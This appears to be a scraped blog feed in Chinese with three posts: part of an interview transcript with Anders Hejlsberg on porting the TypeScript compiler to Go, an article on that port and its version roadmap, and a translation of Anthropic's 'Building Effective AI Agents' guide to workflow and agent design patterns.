工具的成功，这证明了人们愿意走出自己的舒适区，为了他们所关心的事情而学习新的东西。我只是好奇您是否考虑过第三方贡献的问题。TypeScript 已经收到了很多很棒的第三方贡献。\nAnders Hejlsberg：\n当然，同时了解 Go 和 JavaScript 的人肯定比只了解 JavaScript 的人要少。因此，贡献者的人数可能会减少。但话说回来，为编译器做出贡献的人本来就不多。而且他们通常非常感兴趣，并且经常跨足原生环境。我也想说，从 JavaScript 过渡到 Go 实际上对系统来说相当温和。Go 并不是一种超级复杂，具有大量繁文缛节的语言，而 Rust 则更符合这种描述。Rust 更像是现代 C++，而不是现代化的 JavaScript。Go 在某些方面则像是现代化的、原生的 Python JavaScript。\n主持人：\n过去，当我编写 Go 代码时，我曾经用 Go 进行了大约两年的专业开发。在一次工程全体会议上，一些工程师抱怨 Go 很平庸。他们对无法在 Go 中\n实现某些复杂的东西感到不满。首席技术官制止了他们，并说您必须理解 Go 的设计目标就是平庸。它并不是要变得花哨，而是要保持简单。\nAnders Hejlsberg：\n老实说，**它确实很简单，但是其结果却并不平庸。性能提升 10 倍绝对称不上平庸。您可以用它完成伟大的事情。\n主持人：\nKubernetes 绝对不是一个平庸的软件项目**。我不得不说，我对这下一个篇章感到非常兴奋。我认为这是一个伟大的举措，而且听起来这是一个经\u0026gt;\n过深思熟虑的决定。我很高兴你们在各个方面都投入了大量的精力，从第三方贡献到其他每一个要素，都进行了细致的评估。我很高兴你们对这个项\n目如此认真。看到这些总是让人感到非常欣慰。我一直非常欣赏这个团队所做出的贡献。 难以置信的是，这个项目已经发展到了如此的程度，并拥\u0026gt;有如此多的功能，而且仍然在蓬勃发展。我们即将见证一个全新的篇章。祝贺您和您的团队！\nAnders Hejlsberg：\n非常感谢。我也可以告诉您，我们所有人都对此感到非常兴奋。这绝对像是给团队打了一针强心剂，并且我认为对于整个社区来说也是如此。我认为这将为 TypeScript 开启又一个精彩的十年，在这十年中将会涌现出许多令人兴奋的事物。我们对此感到无比激动。\n主持人：\n感谢您加入我们。能够听到这些细节真是太棒了。我认为这些信息对于库作者和 TypeScript 社区的先行者来说都非常有价值。\nAnders Hejlsberg：\n我很荣幸。感谢您的邀请。\n主持人：\n如果您喜欢这个视频，也许您也想知道来自 TypeScript 团队的 Jake Bailey 将会在 Squiggle Comp 会议上发表演讲，介绍团队将 TypeScript 移植到 Go 的过程。会议将在 9 月 18 日和 19 日在波士顿举行。感谢您的收看！\nBTW，在typescript-go项目的一个名为Why Go的discussion中，Anders Hejlsberg做了总结性的陈词，这里也将其翻译成中文，连同上面专访一同供大家参考。\nAnders Hejlsberg：\n我们决定移植到 Go，这凸显了我们对务实工程选择的承诺。我们的重点是实现尽可能最好的结果，而与使用的语言无关。在微软，我们利用多种编程语言，包括 C#、Go、Java、Rust、C++、TypeScript 以及其他语言。每种语言都是根据技术适用性和团队生产力精心选择的。事实上，C# 仍然是微软内部最流行的语言，而且遥遥领先。\nTypeScript 编译器迁移到 Go 受到了具体技术要求的驱动，例如需要与现有的基于 JavaScript 的代码库保持结构兼容性，易于进行内存管理，以及能够高效地处理复杂的图处理。在评估了众多语言并制作了多个原型之后（包括 C#），Go 脱颖而出，成为了最优选择，它为树遍历提供了极佳的体验，易于进行内存分配，并且代码结构与现有编译器非常相似，从而简化了维护和兼容性。\n在一个全新的项目中，这将会是一个完全不同的对话。但这并非一个全新的项目，而是一个已经投入了 100 人年工作的现有代码库的移植。是的，我们可以从头开始用 C# 重新设计编译器，并且它也能工作。事实上，C# 自己的编译器 Roslyn 就是用 C# 编写的，并且可以自举。但这并不是一次编译器重新设计，而且 TypeScript 到 Go 的迁移在映射关系上更可自动化，也更加一对一。我们现有的代码库全部都是函数和数据结构，没有类。符合 Go 语言习惯的代码看起来就像我们现有的代码库，所以移植工作大大简化了。\n虽然这个决定非常适合 TypeScript 的具体情况，但这并不会削弱我们在 C# 和 .NET 上的深度和持续投入。微软的大多数服务和产品都严重依赖 C# 和 .NET，因为它们具有无与伦比的生产力、强大的生态系统以及强大的可扩展性。C# 在需要快速、可维护和可扩展的开发场景中表现出色，为关键系统和众多内部和外部微软解决方案提供动力。现代的、跨平台的 .NET 也提供了出色的性能，使其成为构建云服务的理想选择，这些云服务可以在任何操作系统上以及跨多个云提供商无缝运行。 .NET 9 中最近的性能改进进一步证明了我们对这个强大生态系统的持续投入（https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-9/）。\n说实话，微软使用 Go 来编写 TypeScript 的编译器在几年前是无法实现或想象的。然而，在过去的几十年里，我们看到了微软对开源软件的坚定和持续的承诺，将开发人员的生产力和社区协作置于一切之上。我们的目标是为开发人员提供最好的工具，不受内部政治或狭隘约束的阻碍。这种为每个特定工作选择合适工具的自由最终惠及整个开发者社区，推动创新、效率和改善结果。而且，你无法反驳 10 倍的性能提升！\n没有任何一种语言是完美适用于所有任务的。在微软，我们赞赏编程语言多样性所带来的力量。我们对 C# 和 .NET 的承诺仍然比以往任何时候都更加坚定，我们将不断增强这些技术，为开发人员提供他们现在以及将来成功所需的工具。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/interview-with-anders-hejlsberg-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg\"\u003ehttps://tonybai.com/2025/03/13/interview-with-anders-hejlsberg\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e昨天发表了《\u003ca href=\"https://tonybai.com/2025/03/12/typescript-native-port-to-go/\"\u003eAnders Hejlsberg亲自操刀向Go语言移植！TypeScript编译器性能狂飙10倍！\u003c/a\u003e》一文后，收到了许多读者的反馈，其中最高频的问题是：为什么不选择Rust？为什么不使用C#等其他语言？为了帮助大家更好地理解这次“技术事件”，我整理了\u003ca href=\"https://x.com/MiTypeScript\"\u003eMichigan TypeScript\u003c/a\u003e对\u003ca href=\"https://www.youtube.com/watch?v=10qowKUW82U\"\u003eAnders Hejlsberg的专访\u003c/a\u003e的文字稿（时长超过1小时），并将全文发布在这里供大家参考。\u003c/p\u003e","title":"Anders Hejlsberg专访全文：TypeScript正在向Go移植"},{"content":"Anders Hejlsberg谈TypeScript编译器向Go移植的实践与规划 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nAnders Hejlsberg谈TypeScript编译器向Go移植的实践与规划 三月 12, 2025 4 条评论 本文永久链接 – https://tonybai.com/2025/03/12/typescript-native-port-to-go\nTypeScript、C#语言、Delphi语言之父Anders Hejlsberg今日在Microsoft开发者博客宣布重大消息，TypeScript编译器以及工具链将移植到Go语言，性能提升高达10倍！这究竟是怎么回事？为什么要用Go？对开发者有什么影响？本文将为你深度解读。\nTypeScript迎来史诗级更新，性能提升10倍！ 就在今天，TypeScript社区迎来了一颗重磅炸弹！微软技术院士、TypeScript首席架构师、C#、Delphi和Turbo Pascal的最初设计者——Anders Hejlsberg，亲自在微软开发者博客上宣布，TypeScript团队正在进行一项激动人心的计划：将TypeScript编译器和相关工具链移植到Go语言！\n这一举动旨在解决TypeScript在大型代码库中性能瓶颈的问题，为开发者带来更流畅、更高效的开发体验。根据官方公布的数据，新的原生实现将带来以下惊人的改进：\n编辑器启动的项目加载速度提升8倍！ 大多数构建时间缩短10倍！ 内存使用量大幅减少！ 这意味着，开发者将告别漫长的加载和等待，享受“秒开”项目的快感，获得更流畅的代码编辑、智能提示、代码导航等体验。\n实测数据说话，性能提升肉眼可见！ 为了证明新版编译器的强大性能，TypeScript团队选取了GitHub上多个不同规模的热门TypeScript项目进行测试，以下是测试结果：\n从数据中我们可以清晰地看到，无论是大型项目如 VS Code，还是小型库如 rxjs，新版编译器都实现了 10 倍左右的性能提升！\nAnders Hejlsberg 表示，这仅仅是开始，随着开发的深入，性能还将进一步优化。\n为什么要移植到Go？ 面对这一重大变革，很多开发者可能会疑惑：为什么选择Go语言？C#或者Rust不香吗？\n对此，Anders Hejlsberg和TypeScript团队在TypeScript GitHub仓库的讨论区进行了解释，主要原因有以下几点：\n代码结构相似性： TypeScript 现有代码库采用函数式编程风格，很少使用类。而Go语言也以函数和数据结构为中心，与现有代码结构高度相似，这使得移植工作更加容易。 **内存管理：**Go语言提供自动垃圾回收（GC），无需开发者手动管理内存，这大大简化了移植过程，降低了代码复杂度。同时，Go的GC对TypeScript编译器这类批处理任务影响很小。 内存布局控制： Go语言允许对内存布局和分配进行精细控制，这对于优化性能至关重要。 图处理能力： TypeScript编译器涉及大量的树遍历和多态节点处理，Go语言在这方面表现出色。 Anders Hejlsberg 强调，这是一次“移植”而非“重写”，目标是尽可能保留现有代码库的结构和语义，确保兼容性。Go语言的特性与TypeScript现有代码库的契合度最高，是“阻力最小”的路径。\n针对社区关心的为什么不选择C#，Anders Hejlsberg也做了专门回应：\nGo是能同时做到原生性和自动垃圾收集的最低层级语言。 C#是字节码优先的，虽然也有AOT编译，但有平台限制，且没有像Go一样经过长时间的生产环境验证。 C#是重OOP范式的，TypeScript的JS代码库是高度函数式的。 版本路线图 TypeScript团队公布了明确的版本路线图：\n当前版本为TypeScript 5.8，即将发布TypeScript 5.9。 基于JavaScript的代码库将继续开发到 6.x 系列，TypeScript 6.0 将引入一些弃用和破坏性更改，为原生代码库做准备。 当原生代码库达到与当前TypeScript相当的功能时，将发布TypeScript 7.0。 为了保持清晰，TS团队将分别称之为TypeScript 6 (JS) 和 TypeScript 7 (native)。 TypeScript 6 (JS) 将持续维护，直到 TypeScript 7+ 达到足够的成熟度和采用率。 内部讨论或代码注释中可能会出现“Strada” (TypeScript 原始代号)和“Corsa” (此次工作的代号)。 TypeScript团队预计在2025年中期发布一个能够进行命令行类型检查的原生tsc实现，并在年底发布一个功能完整的项目构建和语言服务解决方案。\n开发者可以做什么？ 尝鲜体验： 你现在就可以从typescript-go仓库 构建和运行Go语言编写的代码，体验新版编译器的强大性能。 关注动态： 关注TypeScript团队的博客和GitHub仓库，获取最新进展。 参与讨论： 参与TypeScript Community Discord 的 AMA 活动（太平洋时间 3 月 13 日上午 10 点 | UTC 时间下午 5 点），与 TypeScript 团队交流。 展望未来 10倍的性能提升，将为TypeScript和JavaScript开发体验带来巨大飞跃。曾经遥不可及的功能，如今触手可及。这不仅意味着更快的编译速度和更流畅的开发体验，还将为AI驱动的新一代开发工具奠定基础。\nTypeScript的这次重大变革，再次证明了微软对开发者社区的承诺，以及对技术创新的不懈追求。让我们一起期待TypeScript的未来，迎接更高效、更智能的开发时代！\n参考资料 A 10x Faster TypeScript – https://devblogs.microsoft.com/typescript/typescript-native-port/ discussions: Why Go? – https://github.com/microsoft/typescript-go/discussions/411 TypeScript is being ported to Go | interview with Anders Hejlsberg – https://www.youtube.com/watch?v=10qowKUW82U Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/12/typescript-native-port-to-go/","summary":"\u003cp\u003eAnders Hejlsberg谈TypeScript编译器向Go移植的实践与规划 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Anders Hejlsberg谈TypeScript编译器向Go移植的实践与规划"},{"content":"构建高效的AI智能体[译] - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n构建高效的AI智能体[译] 三月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/03/11/building-effective-agents\n近来，人工智能领域再次风起云涌，各种能力超强的大模型、创新概念和工具层出不穷，让人目不暇接。从DeepSeek发布的开源MoE 模型DeepSeek-V3和令人惊艳的具备深度思考能力的推理模型DeepSeek R1，到声称是“世界上第一个通用AI智能体(Agent)”的Manus以及其开源复刻品OpenManus，再到Anthropic推出让业界大牛程序员Steve Yegge都感到惊叹的Claude Code代码辅助编写Agent工具以及其使用的模型上下文协议（MCP），以及Docker之父Solomon Hykes的Dagger项目转型构建AI Agent工具，无不预示着AI Agent时代的加速到来。\n在这一波澜壮阔的技术浪潮中，如何构建高效、可靠且易于维护的AI Agent系统，成为了开发者们共同关注的焦点。Anthropic作为大模型领域的领军企业之一，其在构建AI Agent方面的经验和见解，无疑具有重要的参考价值。\n本文翻译自Anthropic官方博客文章《Building Effective AI Agents》，旨在分享Anthropic在与客户合作以及自身实践中总结出的AI Agent构建经验。原文深入探讨了Agentic Systems的概念、架构、常见模式、最佳实践以及工具开发等关键问题，并提供了实用的建议和案例。\n选择翻译这篇文章，不仅仅是因为它内容翔实、具有指导意义，更是出于“翻译中学习，学习中翻译”的初衷。通过对原文的翻译，同时也是一次深入学习和理解AI Agent构建技术的绝佳机会。希望本文的翻译能够为广大中文读者提供有益的参考，共同探索AI Agent的无限可能。\n注：原文发表于2024年12月中旬，网络上有过很多中文译版，如果你曾阅读过那些文章，你大可忽略本篇文章。\n以下是文章正文。\n在过去的一年里，我们与数十个团队合作，在各个行业构建大型语言模型 (LLM) 智能体 (Agents)。最成功的那些实现并没有使用复杂的框架或专用库。相反，他们都是使用简单、可组合的模式进行构建的。\n在这篇文章中，我们将分享与客户合作和自行构建智能体过程中所学到的知识，并为开发者提供构建高效智能体的实用建议。\n什么是智能体？ “智能体(Agent)” 可以有多种定义方式。一些客户将智能体定义为完全自主的系统，它们可以在较长时间内独立运行，使用各种工具来完成复杂的任务。另一些客户则使用该术语来描述遵循预定义工作流的更规范性的实现。在Anthropic，我们将所有这些变体归类为智能体系统(agentic systems)，但在**工作流(workflows)和智能体(agents)**之间做了重要的架构区分：\n工作流是通过预定义的代码路径编排LLM和工具的系统。 智能体则是LLM动态指导自身流程和工具使用的系统，控制它们完成任务的方式。 下面，我们将详细探讨这两种类型的智能体系统。在附录1（“智能体的实践应用”）中，我们描述了客户发现使用这些系统特别有价值的两个领域。\n何时（以及何时不）使用智能体 在使用LLM构建应用程序时，我们建议找到尽可能简单的解决方案，并且仅在需要时才增加复杂性。这可能意味着根本不需要构建智能体系统。智能体系统通常会牺牲延迟和成本来换取更好的任务性能，你应该考虑这种权衡何时有意义。\n当需要更多复杂性时，工作流为定义明确的任务提供可预测性和一致性，而当需要大规模的灵活性和模型驱动的决策时，智能体是更好的选择。然而，对于许多应用程序来说，使用检索和上下文示例优化单个LLM调用通常就足够了。\n何时以及如何使用框架 有许多框架可以更容易地实现智能体系统，包括：\nLangChain的LangGraph； Amazon Bedrock的AI Agent framework； Rivet，一个拖放式GUI LLM工作流构建器；以及 Vellum，另一个用于构建和测试复杂工作流的GUI工具。 这些框架通过简化标准低级任务（如调用LLM、定义和解析工具以及将调用链接在一起）使入门变得容易。然而，它们通常会创建额外的抽象层，这可能会掩盖底层的提示和响应，使它们更难调试。它们还可能诱使在更简单的设置就足够的情况下增加复杂性。\n我们建议开发者首先直接使用LLM API：许多模式可以在几行代码中实现。如果你确实使用了框架，请确保你了解底层代码。对底层内容的错误假设是客户错误的常见来源。\n请参阅我们的cookbook 以获取一些示例实现。\n构建块(Building Blocks)、工作流和智能体 在本节中，我们将探讨我们在生产中看到的智能体系统的常见模式。我们将从基础构建块——增强型LLM——开始，并逐步增加复杂性，从简单的组合工作流到自主智能体。\n构建块：增强型LLM 智能体系统的基本构建块是经过增强的LLM，增强功能包括检索、工具和记忆。我们目前的模型可以主动使用这些功能——生成自己的搜索查询、选择合适的工具以及确定要保留的信息。\n图：增强型LLM 我们建议重点关注实现的两个关键方面：根据你的特定用例定制这些功能，并确保它们为你的LLM提供简单、文档齐全的接口。虽然有很多方法可以实现这些增强，但有一种方法是通过我们最近发布的Model Context Protocol，它允许开发者通过简单的客户端实现 与不断增长的第三方工具生态系统集成。\n在本文的其余部分，我们将假设每次LLM调用都可以访问这些增强功能。\n工作流：提示链(Prompt Chaining) 提示链将任务分解为一系列步骤，其中每个LLM调用处理前一个调用的输出。你可以在任何中间步骤上添加程序化检查（参见下图中的“Gate”），以确保流程仍在正轨上。\n图：提示链工作流 何时使用此工作流： 当任务可以轻松干净地分解为固定的子任务时，此工作流非常理想。主要目标是通过使每个LLM调用成为更简单的任务来权衡延迟以获得更高的准确性。\n提示链有用的示例：\n生成营销文案，然后将其翻译成不同的语言。 编写文档大纲，检查大纲是否符合特定条件，然后根据大纲编写文档。 工作流：路由(Routing) 路由对输入进行分类并将其定向到专门的后续任务。此工作流允许分离关注点，并构建更专业的提示。如果没有此工作流，针对一种类型的输入进行优化可能会损害其他输入的性能。\n图：路由工作流 何时使用此工作流： 路由适用于存在不同类别的复杂任务，这些类别最好单独处理，并且可以使用LLM或更传统的分类模型/算法准确地进行分类。\n路由有用的示例：\n将不同类型的客户服务查询（一般问题、退款请求、技术支持）定向到不同的下游流程、提示和工具。 将简单/常见问题路由到较小的模型（如Claude 3.5 Haiku），将困难/不常见问题路由到功能更强大的模型（如Claude 3.5 Sonnet），以优化成本和速度。 工作流：并行化(Parallelization) LLM有时可以并行处理多个任务，并以编程方式聚合它们的输出。这种工作流（并行化）体现在两个关键变体中：\n分段(Sectioning)：将任务分解为并行运行的独立子任务。 投票(Voting)：多次运行同一任务以获得不同的输出。 图：并行化工作流 何时使用此工作流： 当可以将划分的子任务并行化以提高速度，或者需要多个视角或尝试以获得更高置信度的结果时，并行化是有效的。对于具有多个考虑因素的复杂任务，LLM通常在每个考虑因素由单独的LLM调用处理时表现更好，从而可以集中关注每个特定方面。\n并行化有用的示例：\n分段：\n实现防护措施，其中一个模型实例处理用户查询，而另一个模型实例筛选不当内容或请求。这往往比让同一个LLM调用同时处理护栏和核心响应效果更好。 自动评估LLM性能，其中每个LLM调用评估模型在给定提示上的性能的不同方面。 投票：\n审查一段代码是否存在漏洞，其中几个不同的提示会审查代码，如果发现问题则标记。 评估给定内容是否不当，其中多个提示评估不同的方面或需要不同的投票阈值来平衡误报和漏报。 工作流：编排器-工作者(Orchestrator-Workers) 在编排器-工作者工作流中，中央LLM动态分解任务，将它们委托给工作者LLM，并综合它们的结果。\n图：编排器-工作者工作流 何时使用此工作流： 此工作流非常适合你无法预测所需子任务的复杂任务（例如，在编码中，需要更改的文件数量以及每个文件中更改的性质可能取决于任务）。虽然在拓扑上相似，但它与并行化工作流的关键区别在于其灵活性——子任务不是预先定义的，而是由编排器根据特定输入确定的。\n编排器-工作器有用的示例：\n每次对多个文件进行复杂更改的编码产品。 搜索任务涉及收集和分析来自多个来源的信息以获取可能的相关信息。 工作流：评估器-优化器(Evaluator-Optimizer) 在评估器-优化器工作流中，一个LLM调用生成响应，而另一个LLM调用提供循环评估和反馈。\n图：评估器-优化器工作流 何时使用此工作流： 当我们有明确的评估标准，并且迭代改进提供可衡量的价值时，此工作流特别有效。良好匹配的两个迹象是，首先，当人类阐明他们的反馈时，LLM响应可以得到明显改善；其次，LLM可以提供此类反馈。这类似于人类作家在撰写精美文档时可能经历的迭代写作过程。\n评估器-优化器有用的示例：\n文学翻译，其中存在翻译器LLM最初可能无法捕捉到的细微差别，但评估器LLM可以提供有用的批评。 复杂的搜索任务，需要多轮搜索和分析才能收集全面的信息，评估器决定是否需要进一步搜索。 智能体(Agents) 随着LLM在关键功能（理解复杂输入、参与推理和规划、可靠地使用工具以及从错误中恢复）方面的成熟，智能体正在生产中出现。智能体通过人类用户的命令或交互式讨论开始其工作。一旦任务明确，智能体就会独立计划和操作，可能会返回给人类以获取更多信息或判断。在执行期间，智能体在每个步骤中从环境中获得“真实情况”（例如工具调用结果或代码执行）以评估其进度。然后，智能体可以在检查点或遇到障碍时暂停以获取人类反馈。任务通常在完成后终止，但通常也包含停止条件（例如最大迭代次数）以保持控制。\n智能体可以处理复杂的任务，但它们的实现通常很简单。它们通常只是LLM在循环中根据环境反馈使用工具。因此，清晰而周到地设计工具集及其文档至关重要。我们在附录2（“提示工程你的工具”）中扩展了工具开发的最佳实践。\n图：自主智能体 何时使用智能体： 智能体可用于难以或无法预测所需步骤数量的开放式问题，以及你无法硬编码固定路径的问题。LLM可能会运行多个回合，你必须对其决策制定有一定程度的信任。智能体的自主性使其成为在受信任环境中扩展任务的理想选择。\n智能体的自主性意味着更高的成本，以及潜在的复合错误。我们建议在沙盒环境中进行广泛测试，并采取适当的护栏。\n智能体有用的示例：\n以下示例来自我们自己的实现：\n一个用于解决SWE-bench任务 的编码智能体，它涉及根据任务描述编辑许多文件； 我们的“计算机使用”参考实现，其中Claude使用计算机来完成任务。 图：编码智能体的高层次抽象流程 组合和定制这些模式 这些构建块不是规定性的。它们是开发人员可以塑造和组合以适应不同用例的常见模式。与任何LLM功能一样，成功的关键在于衡量性能并迭代实现。再次强调：你应该考虑仅在可以证明改进结果时才增加复杂性。\n总结 LLM领域的成功不在于构建最复杂的系统。它在于构建适合你需求的系统。从简单的提示开始，通过全面的评估优化它们，并且仅在更简单的解决方案不足时才添加多步骤智能体系统。\n在实施智能体时，我们尝试遵循三个核心原则：\n在智能体的设计中保持简单性。 通过明确显示智能体的规划步骤来优先考虑透明度。 通过彻底的工具文档和测试来仔细设计你的智能体-计算机接口(ACI)。 框架可以帮助你快速入门，但在转向生产时，请毫不犹豫地减少抽象层并使用基本组件进行构建。通过遵循这些原则，你可以创建不仅强大而且可靠、可维护并受到用户信任的智能体。\n致谢 本文由Erik Schluntz和Barry Zhang撰写。这项工作借鉴了我们在Anthropic构建智能体的经验以及客户分享的宝贵见解，我们对此深表感谢。\n附录1：智能体的实际应用 我们与客户的合作揭示了AI智能体的两个特别有前景的应用，它们展示了上述模式的实用价值。这两个应用都说明了智能体如何为需要对话和行动、具有明确的成功标准、启用反馈循环以及集成有意义的人类监督的任务增加最大价值。\nA. 客户支持 客户支持将熟悉的聊天机器人界面与通过工具集成增强的功能相结合。这非常适合更开放式的智能体，因为：\n支持交互自然地遵循对话流程，同时需要访问外部信息和操作； 可以集成工具来提取客户数据、订单历史记录和知识库文章； 可以以编程方式处理诸如发放退款或更新工单之类的操作；以及 可以通过用户定义的解决方案明确衡量成功。 一些公司已经通过基于使用量的定价模型证明了这种方法的可行性，该模型仅对成功的解决方案收费，表明对他们智能体的有效性充满信心。\nB. 编码智能体 软件开发领域已经显示出LLM功能的巨大潜力，其功能从代码完成发展到自主解决问题。智能体特别有效，因为：\n代码解决方案可以通过自动化测试进行验证； 智能体可以使用测试结果作为反馈来迭代解决方案； 问题空间定义明确且结构化；以及 可以客观地衡量输出质量。 在我们自己的实现中，智能体现在可以根据拉取请求描述本身解决SWE-bench Verified 基准测试中的真实GitHub问题。然而，虽然自动化测试有助于验证功能，但人工审查对于确保解决方案与更广泛的系统要求保持一致仍然至关重要。\n附录2：提示工程你的工具 无论你构建哪种智能体系统，工具都可能是智能体的重要组成部分。工具 使Claude能够通过在我们的API中指定其确切结构和定义来与外部服务和API交互。当Claude响应时，如果它计划调用工具，它将在API响应中包含一个工具使用块。工具定义和规范应该像你的整体提示一样受到提示工程的重视。在这个简短的附录中，我们将描述如何提示工程化你的工具。\n通常有几种方法可以指定相同的操作。例如，你可以通过编写diff或重写整个文件来指定文件编辑。对于结构化输出，你可以在markdown或JSON中返回代码。在软件工程中，像这样的差异是表面上的，并且可以从一种格式无损地转换为另一种格式。然而，某些格式比其他格式更难让LLM编写。编写diff需要在编写新代码之前知道块头(chunk header)中更改的行数。在JSON中编写代码（与markdown相比）需要对换行符和引号进行额外的转义。\n我们对决定工具格式的建议如下：\n给模型足够的token来“思考”，然后再将自己逼入绝境。 保持格式接近模型在互联网文本中自然看到的内容。 确保没有格式“开销”，例如必须准确计算数千行代码，或对它编写的任何代码进行字符串转义。 一个经验法则是考虑在人机界面(HCI)上投入了多少精力，并计划在创建良好的智能体-计算机界面 (ACI) 上投入同样多的精力。以下是关于如何做到这一点的一些想法：\n设身处地为模型着想。根据描述和参数，是否明显知道如何使用此工具，或者你是否需要仔细考虑？如果是这样，那么对于模型来说可能也是如此。一个好的工具定义通常包括示例用法、边缘情况、输入格式要求以及与其他工具的明确边界。 你如何更改参数名称或描述以使事情更明显？将其视为为你团队中的初级开发人员编写出色的文档字符串。在使用许多类似的工具时，这一点尤其重要。 测试模型如何使用你的工具：在我们的workbench中运行许多示例输入，以查看模型犯了哪些错误，并进行迭代。 防呆(Poka-yoke) 你的工具。更改参数以使其更难出错。 在为SWE-bench 构建我们的智能体时，我们实际上花了更多时间优化我们的工具而不是整体提示。例如，我们发现，在智能体移出根目录后，使用相对文件路径的工具会出现错误。为了解决这个问题，我们将工具更改为始终需要绝对文件路径——并且我们发现模型完美地使用了这种方法。\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/03/11/building-effective-agents/","summary":"\u003cp\u003e构建高效的AI智能体[译] - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" 